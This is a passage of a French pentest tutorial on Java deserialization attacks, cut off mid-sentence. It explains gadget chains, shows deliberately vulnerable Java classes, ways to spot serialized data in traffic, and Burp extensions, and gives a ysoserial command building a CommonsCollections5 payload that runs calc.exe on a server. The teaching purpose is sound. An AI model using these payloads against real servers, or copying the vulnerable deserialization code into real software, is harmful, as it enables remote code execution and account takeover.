<div style="text-align: justify;">Pour reprendre l’exemple en Java sus-cité :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code"><span class="w-code"><span class="sc11">FileInputStream</span> <span class="sc11">file</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">FileInputStream</span><span class="sc10">(</span><span class="sc6">&#8220;file.bin&#8221;</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">ObjectInputStream</span> <span class="sc11">out</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ObjectInputStream</span><span class="sc10">(</span><span class="sc11">file</span><span class="sc10">);</span></span></span><span class="w-code"><span class="sc11">name</span> <span class="sc10">=</span> <span class="sc10">(</span><span class="sc11">String</span><span class="sc10">)</span><span class="sc11">out</span><span class="sc10">.</span><span class="sc11">readObject</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">System</span><span class="sc10">.</span><span class="sc11">out</span><span class="sc10">.</span><span class="sc11">println</span><span class="sc10">(</span><span class="sc11">name</span><span class="sc10">);</span></span></div>
<div style="text-align: justify;">Le résultat dans la console sera donc</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">Wavestone</span></div>
<div></div>
<div style="text-align: justify;">La fonction <i>readObject </i>est appelée pour désérialiser l&#8217;objet (à l&#8217;aide de <i>ObjectInputStream</i>) &#8211; et le convertir en String.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La désérialisation a de multiples cas d’usage pour les développeurs, par exemple (ici en Java) :</div>
<div style="text-align: justify;">
<ul>
<li>Désérialiser un objet “<i>SQLConnection</i>” pour se connecter à une base de données</li>
<li>Désérialiser un objet “<i>User</i>” pour récupérer des informations stockées dans une base de données en exécutant des requêtes SQL spécifiques</li>
<li>Désérialiser un objet “<i>LogFile</i>” pour restaurer les données précédemment enregistrées sur un profil utilisateur</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><b>De nombreux langages de programmation offrent une capacité native de sérialisation</b> des objets. Ces formats natifs offrent généralement davantage de fonctionnalités que JSON ou XML, y compris la personnalisation du processus de sérialisation.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Malheureusement, les fonctionnalités de ces <b>mécanismes de désérialisation natifs peuvent être détournées à des fins malveillantes</b> lorsque la donnée à désérialiser est en fait une charge utile forgée spécifiquement par un attaquant pour être interprété comme du code à exécuter.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Les attaques contre les moteurs de désérialisation permettent notamment des attaques par <b>déni de service</b>, de <b>contournement de contrôle d&#8217;accès</b> et <b>d&#8217;exécution de code à distance</b> (RCE).</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h2>Exemple d’attaque : RCE</h2>
</div>
<div style="text-align: justify;">Cet exemple de code récupère un paramètre appelé <i>csrfValue</i>, qui est un jeton anti-CSRF présent sur une application web, envoyé à l’application sous forme de paramètre HTTP GET.</div>
<div style="text-align: justify;">Pour cela, le paramètre est récupéré sous forme de String puis converti en <i>ByteArrayInputStream </i>et lu via la fonction <i>readObject</i>() pour être désérialisé.</div>
<div></div>
<div style="text-align: justify;"><span class="w-code"><span class="sc11">String</span> <span class="sc11">parameterValue</span> <span class="sc10">=</span> <span class="sc11">request</span><span class="sc10">.</span><span class="sc11">getParameter</span><span class="sc10">(</span><span class="sc6">&#8220;csrfValue&#8221;</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc16">byte</span><span class="sc10">[]</span> <span class="sc11">csrfBytes</span> <span class="sc10">=</span><span class="sc11">DatatypeConverter</span><span class="sc10">.</span><span class="sc11">parseBase64Binary</span><span class="sc10">(</span><span class="sc11">parameterValue</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">ByteArrayInputStream</span> <span class="sc11">bis</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ByteArrayInputStream</span><span class="sc10">(</span><span class="sc11">csrfBytes</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">ObjectInput</span> <span class="sc11">in</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ObjectInputStream</span><span class="sc10">(</span><span class="sc11">bis</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">csrfToken</span> <span class="sc10">=</span> <span class="sc10">(</span><span class="sc11">CSRF</span><span class="sc10">)</span><span class="sc11">in</span><span class="sc10">.</span><span class="sc11">readObject</span><span class="sc10">();</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Cette fonction est <b>potentiellement vulnérable</b>: en effet, la fonction <i>readObject</i>() est appelé sur des valeurs <b>envoyées par l’utilisateur</b> en tant que paramètre <i>csrfValue </i>de la requête HTTP.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">En effet, la fonction <i>readObject</i>() a pour spécificité de pouvoir être implémentée dans les classes <i>Serializable </i>qui en ont besoin pour lire un objet sérialisé.</div>
<div style="text-align: justify;">Imaginons par exemple que la classe CSRF vue plus haut contienne pour une raison obscure ce morceau de code :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code"><span class="sc16">public</span> <span class="sc16">class</span> <span class="sc11">CSRF</span> <span class="sc5">implements</span> <span class="sc11">Serializable</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc11">String</span> <span class="sc11">command</span> <span class="sc10">=</span> <span class="sc6">&#8220;ls&#8221;</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc16">void</span> <span class="sc11">execCommand</span><span class="sc10">(){</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc11">Runtime</span><span class="sc10">.</span><span class="sc11">getRuntime</span><span class="sc10">().</span><span class="sc11">exec</span><span class="sc10">(</span><span class="sc5">this</span><span class="sc10">.</span><span class="sc11">command</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc16">private</span> <span class="sc16">void</span> <span class="sc11">readObject</span><span class="sc10">(</span><span class="sc11">java</span><span class="sc10">.</span><span class="sc11">io</span><span class="sc10">.</span><span class="sc11">ObjectInputStream</span> <span class="sc11">in</span><span class="sc10">)</span> <span class="sc5">throws</span> <span class="sc11">IOException</span><span class="sc10">,</span> <span class="sc11">ClassNotFoundException</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc5">this</span><span class="sc10">.</span><span class="sc11">execCommand</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">L’attaquant n’aurait qu’à forger un objet CSRF sérialisé (récupéré par le code plus haut dans <i>csrfValue</i>) contenant un paramètre command contenant la commande de son choix pour exécuter du code arbitrairement sur le serveur.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">En effet :</div>
<div style="text-align: justify;">
<ul>
<li><i>ObjectInputStream </i>ne vérifie pas quelle classe est désérialisée</li>
<li>Il n’y a pas de liste blanche ou noire de classes autorisées à être désérialisées</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Ce cas de figure très facile à exploiter d’une implémentation de <i>readObject</i>() exécutant directement du code est toutefois très rare dans la réalité.</div>
<div style="text-align: justify;">Ce qui arrive le plus fréquemment est que l’attaquant trouve une fonction ou une classe vulnérable à la modification de ses paramètres, qui peut appeler une autre fonction ou instancier une autre classe dans son périmètre d’exécution.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Les classes et fonctions disponibles dans le périmètre d’exécution d’une application sont appelées « <b>gadget </b>». Suite à l’envoi d’une charge malveillante à un premier gadget appelé « <b>kick-off gadget</b> », une chaîne d’appels et d’invocation est lancée jusqu’à tomber sur un gadget qui est vulnérable à l’exécution de code arbitraire, appelé « <b>sink gadget </b>» :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15734 media-15734" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15734 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I3.png" alt="" width="640" height="218" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I3.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I3-437x149.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I3-71x24.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<div style="text-align: justify;">De nombreux sink gadget existent dans les librairies de sérialisation/désérialisation standard, notamment :</div>
<div style="text-align: justify;">
<ul>
<li><b>Spring AOP </b>(dévoilé par Wouter Coekaerts en 2011)</li>
<li><b>Commons-ﬁleupload </b>(dévoilé par Arun Babu Neelicattu en 2013)</li>
<li><b>Groovy </b>(dévoilé par cpnrodzc7 / @frohoff en 2015)</li>
<li><b>Apache Commons-Collections</b> (dévoilé par @frohoff et @gebl en 2015)</li>
<li><b>Spring Beans</b> (dévoilé par @frohoff et @gebl en 2015)</li>
<li><b>Serial DoS</b> (dévoilé par Wouter Coekaerts en 2015)</li>
<li><b>SpringTx</b> (dévoilé par @zerothinking en 2016)</li>
<li><b>JDK7</b> (dévoilé par @frohoff en 2016)</li>
<li><b>Beanutils</b> (dévoilé par @frohoff en 2016)</li>
<li><b>Hibernate, MyFaces, C3P0, net.sf.json, ROME</b> (dévoilé par M. Bechler en 2016)</li>
<li><b>Beanshell </b>(dévoilé par @pwntester et @cschneider4711 en 2016)</li>
<li><b>JDK7 Rhino </b>(dévoilé par @matthias_kaiser en 2016)</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Des <b>outils générant des charges utiles spécialement conçues pour attaquer des gadgets</b> affectés par des vulnérabilités publiques dans les librairies les plus utilisées existent, notamment le très complet <b>ysoserial</b>, développé par Frohoff : <a href="https://github.com/frohoff/ysoserial">https://github.com/frohoff/ysoserial</a>.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h2>Exemple d’attaque : Compromission de compte utilisateur</h2>
</div>
<div style="text-align: justify;">Si un attaquant contrôle les données qui sont désérialisée par une application, il a alors une influence sur les variables en mémoire et les objets applicatifs. Il peut alors influencer le flux de code utilisant ces variables et ces objets.</div>
<div style="text-align: justify;">Voyons un exemple d’attaque sur un morceau de code utilisant la désérialisation en Java :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code"><span class="w-code"><span class="sc16">public</span> <span class="sc16">class</span> <span class="sc11">Session</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc11">String</span> <span class="sc11">username</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc16">boolean</span> <span class="sc11">loggedIn</span><span class="sc10">;</span></span></span><span class="w-code"><span class="sc16">public</span> <span class="sc16">void</span> <span class="sc11">loadSession</span><span class="sc10">(</span><span class="sc16">byte</span><span class="sc10">[]</span> <span class="sc11">sessionData</span><span class="sc10">)</span> <span class="sc5">throws</span> <span class="sc11">Exception</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">ObjectInputStream</span> <span class="sc11">ois</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ObjectInputStream</span><span class="sc10">(</span><span class="sc5">new</span> <span class="sc11">ByteArrayInputStream</span><span class="sc10">(</span><span class="sc11">sessionData</span><span class="sc10">));</span><span class="sc0"><br />
</span><span class="sc5">this</span><span class="sc10">.</span><span class="sc11">username</span> <span class="sc10">=</span> <span class="sc11">ois</span><span class="sc10">.</span><span class="sc11">readUTF</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc5">this</span><span class="sc10">.</span><span class="sc11">loggedIn</span> <span class="sc10">=</span> <span class="sc11">ois</span><span class="sc10">.</span><span class="sc11">readBoolean</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La méthode <i>loadSession </i>accepte un tableau d’octets en tant que paramètre et désérialise une chaîne et un booléen de ce tableau d&#8217;octets dans les propriétés <i>username </i>et <i>loggedIn </i>de l&#8217;objet.</div>
<div style="text-align: justify;">Si un attaquant peut contrôler le contenu du tableau d’octets <i>sessionData </i>transmis à cette méthode, il peut alors contrôler les propriétés de cet objet : <i>username </i>et <i>loggedIn</i>.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Voici un exemple d&#8217;utilisation de cet objet <i>Session </i>dans une fonction de changement de mot de passe :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code"><span class="sc16">public</span> <span class="sc16">class</span> <span class="sc11">UserSettingsController</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc16">void</span> <span class="sc11">updatePassword</span><span class="sc10">(</span><span class="sc11">Session</span> <span class="sc11">session</span><span class="sc10">,</span> <span class="sc11">String</span> <span class="sc11">newPassword</span><span class="sc10">)</span> <span class="sc5">throws</span> <span class="sc11">Exception</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc5">if</span><span class="sc10">(</span><span class="sc11">session</span><span class="sc10">.</span><span class="sc11">loggedIn</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">UserModel</span><span class="sc10">.</span><span class="sc11">updatePassword</span><span class="sc10">(</span><span class="sc11">session</span><span class="sc10">.</span><span class="sc11">username</span><span class="sc10">,</span> <span class="sc11">newPassword</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span> <span class="sc5">else</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc5">throw</span> <span class="sc5">new</span> <span class="sc11">Exception</span><span class="sc10">(</span><span class="sc6">&#8220;Error: User not logged in.&#8221;</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Si le paramètre <i>loggedIn </i>de l’objet session vaut 1, le mot de passe de l&#8217;utilisateur dont le <i>username </i>correspond au paramètre idoine de l’objet session est mis à jour avec la valeur <i>newPassword </i>donnée.</div>
<div style="text-align: justify;">Ici, si l’attaquant peut contrôler le contenu du tableau d’octets <i>sessionData </i>alors il pourrait changer le mot de passe de n’importe quel utilisateur !</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">C’est un exemple simple de « <b>Property Oriented Programming Gadget</b> », un morceau de code sur lequel l’attaquant peut agir non pas en direct mais via les propriétés d’un objet.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Un point important à retenir de cet exemple est qu&#8217;<b>un exploit de désérialisation n&#8217;implique pas forcément l&#8217;envoi de classes ou de code</b> au serveur à exécuter.</div>
<div style="text-align: justify;">L’attaquant envoie simplement des données qui seront intégrées dans propriétés des classes dont le serveur a déjà connaissance afin de manipuler le code existant traitant de ces propriétés.</div>
<div style="text-align: justify;"><b>Un exploit réussi repose donc énormément sur la connaissance du code</b> qui peut être manipulé par désérialisation. D’où beaucoup de difficultés à exploiter les vulnérabilités de type désérialisation malgré l’impact parfois colossal de ce type de failles.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h1>Après la théorie, la pratique</h1>
</div>
<div style="text-align: justify;">Maintenant que vous savez tout (ou presque) sur la sérialisation/désérialisation Java et ses faiblesses, passons à la pratique :</div>
<div style="text-align: justify;">
<ol>
<li>Comment <b>trouver les fonctions utilisant la désérialisation</b> lors d’un test d&#8217;intrusion web et les librairies utilisées ?</li>
<li>Comment <b>attaquer ces fonctions</b> et potentiellement réussir à exécuter du code sur le serveur ?</li>
</ol>
</div>
<div style="text-align: justify;">
<h2>Trouver les fonctions à attaquer</h2>
</div>
<div style="text-align: justify;">
<h3>Méthode 1 : A la main, pour plus de finesse</h3>
</div>
<div style="text-align: justify;">La première étape de l’audit consiste à identifier l’utilisation de la désérialisation dans l’application auditée. Pour cela, différentes méthodes sont possibles :</div>
<div style="text-align: justify;">
<ul>
<li><b>Chercher la séquence hexadécimale</b> suivante dans les transactions (capturées par burp) entre votre machine et le serveur : <i>0xAC ED</i>.
<ul>
<li>Cette séquence de 2 octets est appelée « <b>magic number</b> » et est présente au début de chaque objet sérialisé. Elle est suivie du numéro de version, souvent 00 05.</li>
<li>Attention : Parfois, les objets sérialisés sont en plus encodés en base64, la séquence <i>0xAC ED</i> devient alors <i>rO0</i></li>
</ul>
</li>
</ul>
<ul>
<li><b>Chercher des noms de classes Java</b> dans les transactions, tels que <i>java.rmi.dgc.Lease</i>.
<ul>
<li>Dans certains cas, les noms de classe Java peuvent apparaître dans un autre format commençant par un « <b>L</b> », se terminant par un « <b>;</b> » et utilisant des barres obliques pour séparer les parties de l&#8217;espace de noms et le nom de la classe (par exemple, &#8220;<i>Ljava / rmi / dgc / VMID;&#8221;</i>).</li>
<li>En raison de la spécification du format de sérialisation, d&#8217;autres chaînes peuvent être présentes, telles que &#8220;<b>sr</b>&#8221; pouvant représenter un objet (TC_OBJECT) suivi de sa description de classe (TC_CLASSDESC) ou &#8220;<b>xp</b>&#8221; pouvant indiquer la fin des annotations de classe, (TC_ENDBLOCKDATA) pour une classe qui n&#8217;a pas de super classe (TC_NULL).</li>
</ul>
</li>
</ul>
<ul>
<li><b>Chercher l&#8217;entête Content-Type </b>suivant : application/x-java-serialized-object</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Après avoir identifié l&#8217;utilisation de données sérialisées, il faut <b>identifier l’offset dans ces données où il est possible d’injecter une charge utile</b>.</div>
<div style="text-align: justify;">La cible doit appeler <i>ObjectInputStream.readObject</i> pour désérialiser et instancier un objet. Toutefois, elle peut appeler d&#8217;autres méthodes de <i>ObjectInputStream</i>, telles que <i>readInt </i>qui lira simplement un entier à 4 octets dans le stream. La méthode <i>readObject </i>lit les types de contenu suivants à partir d&#8217;un flux de sérialisation :</div>
<div style="text-align: justify;">
<ul>
<li>0x70 – TC_NULL</li>
<li>0x71 – TC_REFERENCE</li>
<li>0x72 – TC_CLASSDESC</li>
<li>0x73 – TC_OBJECT</li>
<li>0x74 – TC_STRING</li>
<li>0x75 – TC_ARRAY</li>
<li>0x76 – TC_CLASS</li>
<li>0x7B – TC_EXCEPTION</li>
<li>0x7C – TC_LONGSTRING</li>
<li>0x7D – TC_PROXYCLASSDESC</li>
<li>0x7E – TC_ENUM</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Dans les cas les plus simples, la première chose lue dans le flux de sérialisation est directement l’objet à désérialiser, et nous pouvons donc insérer notre charge directement après l&#8217;en-tête de sérialisation à 4 octets.</div>
<div style="text-align: justify;">Nous pouvons identifier ces cas en regardant les cinq premiers octets du flux de sérialisation. <b>Si ces cinq octets sont un en-tête de sérialisation à quatre octets</b> (0xAC ED 00 05) <b>suivi d&#8217;une des valeurs répertoriées ci-dessus</b>, nous pouvons attaquer la cible en envoyant notre propre en-tête de sérialisation à quatre octets suivis d&#8217;un objet malveillant (la charge).</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Dans d&#8217;autres cas, l&#8217;en-tête de sérialisation à quatre octets sera <b>probablement suivi d&#8217;un élément TC_BLOCKDATA</b> (0x77) <b>ou d&#8217;un élément TC_BLOCKDATALONG</b> (0x7A). Le premier consiste en un unique octet suivi des données de bloc et le second consiste en quatre octets suivi des données de bloc.</div>
<div style="text-align: justify;">Si les données sont suivies de l&#8217;un des types d&#8217;élément pris en charge par <i>readObject</i>, nous pouvons alors injecter une charge utile après les données de bloc.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Nick Bloor a écrit un outil, <b><a href="https://github.com/NickstaDB/SerializationDumper" target="_blank" rel="noopener">SerializationDumper</a></b>, qui permet de faciliter cette analyse. Voici un exemple d’utilisation :</div>
<div style="text-align: justify;">
<figure id="post-15736 media-15736" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15736 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I4.png" alt="" width="574" height="198" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I4.png 574w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I4-437x151.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I4-71x24.png 71w" sizes="auto, (max-width: 574px) 100vw, 574px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<div style="text-align: justify;">Dans cet exemple, le flux contient un TC_BLOCKDATA suivi d&#8217;un TC_STRING qui peut être remplacé par une charge utile.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Méthode 2 : Automatiquement pour plus d&#8217;exhaustivité</h3>
</div>
<div style="text-align: justify;">Pour détecter des fonctions utilisant la désérialisation de façon <b>automatisée</b>, il est aussi possible d’utiliser l’extension <b><a href="https://github.com/federicodotta/Java-Deserialization-Scanner/" target="_blank" rel="noopener">Burp Java Deserialization Scanner</a></b> en tant que scanner passif, scanner actif, ou pour tester une fonction précise.</div>
<div style="text-align: justify;">Les librairies vulnérables actuellement prises en charge par l’outil sont :</div>
<div style="text-align: justify;">
<ul>
<li>Apache Commons Collections 3 (up to 3.2.1)</li>
<li>Apache Commons Collections 4 (up to 4.4.0)</li>
<li>Spring (up to 4.2.2)</li>
<li>Java 6 and Java 7 (up to Jdk7u21)</li>
<li>Hibernate 5</li>
<li>JSON</li>
<li>Rome</li>
<li>Java 8 (up to Jdk8u20)</li>
<li>Apache Commons BeanUtils</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Pour utiliser la fonction de scanner passif ou actif, il suffit d’aller dans l’onglet correspondant de Burp et attendre l’apparition d’éventuelles vulnérabilités :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15738 media-15738" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15738 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I5.png" alt="" width="640" height="293" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I5.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I5-417x191.png 417w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I5-71x33.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Pour tester une fonction précise, il faut dans un premier temps intercepter une requête dans Burp, puis réaliser un clic droit et l’envoyer à Java DS :</div>
<div style="text-align: justify;">
<figure id="post-15740 media-15740" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15740 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I6.png" alt="" width="400" height="290" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I6.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I6-263x191.png 263w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I6-54x39.png 54w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<p>L’outil permet de déterminer les charges utiles (gadgets) qui semblent fonctionner, donc de deviner les librairies utilisées par l’application pour la désérialisation:</p>
<figure id="post-15742 media-15742" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15742 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7.png" alt="" width="640" height="371" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7-329x191.png 329w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7-120x70.png 120w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h3>A noter</h3>
</div>
<div style="text-align: justify;">Le plug-in <b>Java DS</b> repose sur un outil intégré de génération de charges utiles (gadgets) open source : <b>ysoserial</b>. Il est préférable d’utiliser la dernière version de l’outil, car elle inclut les types de charge les plus récents en fonction des vulnérabilités découvertes sur les librairies de sérialisation.</div>
<div style="text-align: justify;">Une fois le projet créé, n’oubliez donc pas de modifier le plug-in Java DS pour qu&#8217;il pointe vers le fichier jar <b>ysoserial </b>que vous aurez préalablement téléchargé :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15744 media-15744" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15744 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I8.png" alt="" width="640" height="194" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I8.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I8-437x132.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I8-71x22.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h2>Attaquer les fonctions utilisant la désérialisation</h2>
</div>
<div style="text-align: justify;">La fonction de désérialisation utilisée par l’application peut :</div>
<div style="text-align: justify;">
<ul>
<li>Être écrite et redéfinie spécifiquement dans la classe de l’objet à désérialiser (override de la méthode <i>readObject</i>)</li>
<li>Être appelée dans une bibliothèque externe, la plus connue étant Apache Commons Collections (fonction <i>Utils</i>.<i>DeserializeFromFile</i>)</li>
<li>De nombreuses autres possibilités existent : méthode <i>readResolve</i>, méthode <i>readExternal</i>, méthode <i>readUnshared</i>, bibliothèque <i>XStream</i>, etc.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">L’outil <b>Java Deserialization Scanner</b> aura permis d’identifier la librairie utilisée. La prochaine étape est donc de générer la charge utile (gadget) correspondant à la librairie en question.</div>
<div style="text-align: justify;">Pour cela il existe 3 possibilités :</div>
<div style="text-align: justify;">
<ul>
<li>Générer un payload avec ysoserial puis l’envoyer au serveur</li>
<li>Utiliser l’extension Burp Java Deserialization Scanner</li>
<li>Utiliser l’extension Burp Java Serial Killer</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Méthode 1 : YSoSerial</h3>
</div>
<div style="text-align: justify;">L&#8217;une des vulnérabilités les plus importantes liée à la désérialisation a été découverte dans la bibliothèque <b>Apache Commons Collections</b>.</div>
<div style="text-align: justify;">Si une version vulnérable de cette bibliothèque (ou d’une autre bibliothèque vulnérable) est présente sur le système exécutant l&#8217;application utilisant la désérialisation, cette vulnérabilité peut entraîner l&#8217;<b>exécution de code à distance</b>.</div>
<div style="text-align: justify;">Afin d&#8217;exploiter cette vulnérabilité, il est possible d’utiliser l&#8217;outil <b>ysoserial</b>, qui contient une collection d&#8217;exploits et permet de générer des objets sérialisés malveillants qui exécuteront des commandes lors de la désérialisation.</div>
<div style="text-align: justify;">Il est juste nécessaire de spécifier la bibliothèque vulnérable. Voici un exemple pour Windows :</div>
<div style="text-align: justify;"><span class="w-code">java -jar ysoserial-master.jar CommonsCollections5 calc.exe &gt; wave.stone</span></div>
<div style="text-align: justify;">Cela générera un objet sérialisé (fichier wave.stone) pour la bibliothèque vulnérable <b>Apache Commons Collections</b> et l&#8217;exploit exécutera la commande « <b>calc.exe</b> ».</div>
<div style="text-align: justify;">Si le code suivant est présent côté serveur :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code"><span class="w-code"><span class="sc11">LogFile</span> <span class="sc11">objet</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">LogFile</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">String</span> <span class="sc11">file</span> <span class="sc10">=</span> <span class="sc6">&#8220;wave.stone&#8221;</span><span class="sc10">;</span></span></span><span class="w-code"><span class="sc2">// Désérialisation de l’objet<br />
</span><span class="sc11">objet</span> <span class="sc10">=</span> <span class="sc10">(</span><span class="sc11">LogFile</span><span class="sc10">)</span><span class="sc11">Utils</span><span class="sc10">.</span><span class="sc11">DeserializeFromFile</span><span class="sc10">(</span><span class="sc11">file</span><span class="sc10">);</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Alors après envoi de la charge malveillante au serveur (via <b>Burp</b>), l’output côté serveur sera le suivant :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code">Deserializing from wave.stone<br />
<span class="w-grepped">Exception in thread &#8220;main&#8221; java.lang.ClassCastException:<br />
java.management/javax.management.BadAttributeValueExpException<br />
cannot be cast to LogFile at LogFiles.main(LogFiles.java:105)</span><br />
</span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Et le résultat sur le serveur sera l’exécution de calc.exe :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
